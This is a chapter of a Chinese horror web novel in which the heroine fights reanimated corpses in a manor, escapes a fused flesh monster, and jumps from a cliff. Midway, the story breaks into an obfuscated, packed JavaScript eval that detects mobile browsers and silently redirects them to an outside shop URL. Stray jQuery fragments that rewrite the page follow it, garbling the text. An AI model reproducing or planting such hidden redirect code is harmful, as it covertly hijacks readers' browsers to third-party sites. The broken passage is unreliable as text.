15. 琥珀台庄园(6)

作品:《太好了,赛博神经有救了!

    左边,管家等人幽幽地、直直地盯向席朔,本就苍白的皮肤在窗外闪电的照耀下显出毫无活人感的诡异。


    他们伸出手臂,作出抓取的动作,一步一步向席朔走来。


    而右边,维多利亚和亚瑟的干枯尸体异常僵直,手腿关节反方向弯曲,仿佛有几根看不见的丝线吊在上方控制着两人。


    靠近间,两人的头颅好似无法支撑那样,随着腿部的走动而左右摇摆。


    席朔被两方逼入阳台。


    狂烈的暴风雨拍打在她身上,湿漉漉的发丝紧贴面颊,她咬紧牙关,眼中闪过一丝决绝。


    闪电划破夜空,“轰隆——”巨大的雷声直接在耳旁炸响,让她短暂陷入了耳鸣。


    就在这时,席朔单手紧握那支手提电筒,她猛地举起来,强光直射在管家的双眼上。


    既然这个世界的「人」在设计时遵循着基础的逻辑,那么,活人的眼睛在强光下必然会出现短时间的失明!


    同一时间,席朔后退两步,猛地登在阳台护栏上,借力一跳,竟是屈膝踢在了管家正脸!


    一脚踢出,席朔自己先是吃了一惊。一股灼烧的蛮力从腰腹部爆发,顺着她的腿骨炸开。


    管家的脸孔在膝盖的触感中瞬间凹陷下去,巨大的冲击力让他整个人如断线的风筝倒飞了出去,撞在墙壁上。


    席朔的膝盖也因为这一击传来了剧痛,仿佛刚才的用力透支了髌骨的功能性。


    重新站回地面时,关节发生错位,勉强支撑住自己的身体。


    可其余人就像没看到管家的下场那样,不受任何影响的伸出手抓住席朔上臂。


    是伯克利,他的力量可怕又坚固。


    席朔的左肩被牢牢窟紧,手指嵌入肌肉和关节的缝隙当中,卡得死死的。席朔试图甩开,却没有任何结果。


    着急间,她心中一狠,一个强行扭动,“咔哒”,肩膀近似脱臼。


    她趁着对方手指松滑,顺势将自己的肩膀抽了出来,紧接着,席朔弯曲完好的右臂,用坚硬的肘部猛击对方的肋下。


    伯克利受到冲击弯起上半身,席朔没有错过这个机会,她举起右肘起跳,用全身力量集中在肘部尺骨。


    她的手肘骨骼就像是从天空中俯冲而下的鹰嘴,瞬息间刺入伯克利的后颈脊椎!


    “咔吧”


    骨骼碎裂的声音响起,伯克利直挺挺倒下!


    席朔被自己的力量惊讶住,她瞪大眼睛看向自己的手,想象不到原来自己身体里藏着这样的力量。


    但很快,她没有时间思考。


    威廉嘶吼着扑了过来,酒气熏天。


    席朔来不及多想,她用完好的左腿支撑自己重心,可湿滑的地面让她脚底一滑,整个人向后仰去。


    威廉的利爪几乎擦着她的鼻尖掠过。


    求生的本能让席朔顺势倒地,并狠狠提起右腿踹在了威廉的小腿上。


    对方失去平衡,庞大的身躯压了下来。席朔蜷身翻滚,险而又险地躲过。


    与此同时,席朔右腿膝关节因为自己的动作再一次发生了扭动,剧痛传来。


    而此时,两具干尸被看不见的丝线操控着陡然加速跃来。


    席朔甚至来不及对疼痛产生反应,她迅速爬起身,抓起掉落在一旁的手电,两手紧握,用甩铁饼的动作给自己创造了加速度。


    坚硬的手电在黑夜中快速划过一条弧线,力量加持下,坚硬的外壳“哐当”砸在亚瑟的后脑,他顿时和维多利亚缠在了一起。


    手电传来的反震力让席朔手腕发麻。


    可她来不及喘息,趁着场面混乱,席朔咬紧牙关,强行使用大腿肌肉力量代偿,提动膝关节,竟是几步之间便从众人的缝隙中滑过。


    跑到卧室门口才发现,伊丽莎白正垂着脑袋挡在门前。


    席朔眼中闪过狠厉,她顾不得自己左肩脱臼,直接低头猛冲,用身体撞开了对方,撕开了包围圈。


    战斗仅仅持续了半分钟不到,席朔已经凭借她自己也想象不到的身体素质,飞速逃离了主卧。


    就在她头也不回的向楼梯间跑去时,伊丽莎白的声音传来。


    奇怪的是,对方的语言并没有如管家那般带有精神污染,反而像是正常人类那样。


    伊丽莎白语气里带着悲伤:“姐姐,你又要离开我吗?”


    席朔顿住脚步,她的心脏像是被一只看不见的手揪紧:“你……你不是她……”


    【不是谁?】


    说完这句话,席朔脑中立即冒出这个念头。


    伊丽莎白背后,管家等人爬了出来。


    伯克利仅仅靠皮肉吊着头,他的眼神诡异又执着:“姐姐……别走……”


    管家整个脸庞凹陷了下去,他的嘴已经和鼻子混合在一起,可还是能看到血肉模糊的肉团在咕叽咕叽地蠕动,发出沉闷的、令人恶心的声音:“别走……”


    席朔拖着受伤的左腿,扭头就跑。


    后方,活尸和干尸们一齐而来。


    这些尸体竟然开始互相吞噬、融合,呈现出一种由人类身体组织杂糅在一起,令人作呕的状态。


    苍白又松弛的人皮像是融化的蜡烛一样覆盖在其表面,上面还沾粘着几撮布朗家特有的棕褐色毛发。


    断裂的肋骨和腿骨从肉团的各个角度刺出,和地面摩擦时发出“喀拉喀拉”的牙酸声音。


    在滚动过程中,它留下满地拉丝又湿滑粘液,其越来越庞大的身躯很快挤破了楼道。


    木质扶手和大理石地砖在席朔的头顶炸裂,碎片蹦在她的脸上、身上,划出一道道血口。而她只能飞快的向前奔跑。


    不能停下!


    不能停下!


    肾上腺素让她感受不到膝盖的疼痛,此刻席朔只有一个念头:


    快跑!


    “别……走……”肉球在后方用一种极端痛苦、带着哭腔的气音哀求着她。


    它的每一个字、每一个音节都被长长的拖拽,在狭窄的楼道里反复回荡。


    它滚动着自己,重叠不休地发出哀嚎:“留下!留……下……!”


    席朔只觉得这声音无比反胃,她精神出现混乱,一时之间找不到逃离的方向。


    就在这时,一个不属于任何布朗家相关人员的弱小声音响起:“跑!去往詹妮的方向!”


    尽管对方的声音混杂在肉球的精神污染当中,席朔却敏锐的抓住了这一丝提醒。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088345|195406||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>她大脑出现短暂的清明,詹妮的留言在她耳中响起:“无论世界如何颠倒,记住,我是唯一的坐标。”


    霎时间,有了目标的席朔转过方向就朝着客厅的落地窗跑去。


    肉块追击力度不减,它裹挟着一路上遇到的所有物品,部分被它吞噬,部分被卷起砸向席朔。


    麂皮沙发被这坨巨肉裹起,在它转了一周时以一个刁钻的角度砸向了席朔。


    席朔想要侧身,不料却被剧痛的膝关节拌住。


    眼看沙发砸来,她只好反身扑倒在地,刚好躲过。


    而这沙发也如席朔预料般那样,猛地砸在了落地窗上。


    “哗啦”,玻璃碎了一地。


    席朔勾起嘴角,她抬头看向肉球,只说了两个字:“谢啦。”


    随即,她就地一个滚动,顾不上满地的玻璃碎渣,直接滚出了建筑物。


    原来,席朔正是打着让肉团帮她开路的主意,想抄近路跑出屋内。


    如果此时肉团仍有思维,恐怕已经被她气到吐血。


    但可惜,对方已经是一个混合了多个思维和人体组织的怪物,它只知道留下席朔。


    因此,这团肉球也只是固执地跟随席朔滚离了建筑物。


    席朔艰难的爬起来,一瘸一拐的冲向庄园背后的山壁悬崖。


    她清楚,詹妮一直在提示自己,对方打开了阳台,指向室外。


    席朔能想到的,就是她失踪前,独自留守的悬崖!


    她很清楚,凭自己的力量无法和这个混乱的世界对抗。


    悬崖就是她离开的唯一机会!


    此时,席朔心中产生一种鱼死网破之感。


    她宁愿拼着可能死亡的风险,也不愿意被这团丑陋的肉球吸收。


    唯一让她心中挂念的,就是刚才提示她的声音。


    席朔冒着风雨站在了悬崖峭壁之上,她回过身,看向即将冲过来的可怕肉团。


    “别……走……”肉团之上,数张嘴唇张张合合,发出令人颤栗的高频率啸音。


    它身上突然伸出几双枯瘦的手臂,作出抓取的姿势,见够不着席朔,它的手臂下又长出了大腿。


    这种突破人类理解能力的画面让席朔有一瞬间的失神,她用力咬住自己的舌尖,血液的味道让她瞬间清醒过来。


    她后退半步,半只脚掌已经悬空。


    席朔没有看身后的悬崖,她用比平时说话更大的声音穿透这场狂风暴雨:“你很像她——”


    冰凉的雨水灌进嘴里,混合着血液被她吐了出来,接着说:“可你不是她!”


    “我会离开这里,如果——如果你有意识的话,跟我一起吧。”


    肉球没有回答,它只会无意义的呓语。


    席朔自嘲一笑,她竟然对这团肉球产生同情。


    狂风吹得她的衣衫呼呼作响,她紧闭双眼,深呼吸让自己心跳平静。


    就在肉团的胳膊即将触碰到她的脸部时,席朔动了。


    她的双脚放弃了支撑,整个人朝后倒去。


    她放松了身体,享受这片刻的自由落体。


    “感觉真好。”


    席朔轻轻吐出几个字,声音消失在呼啸的风中。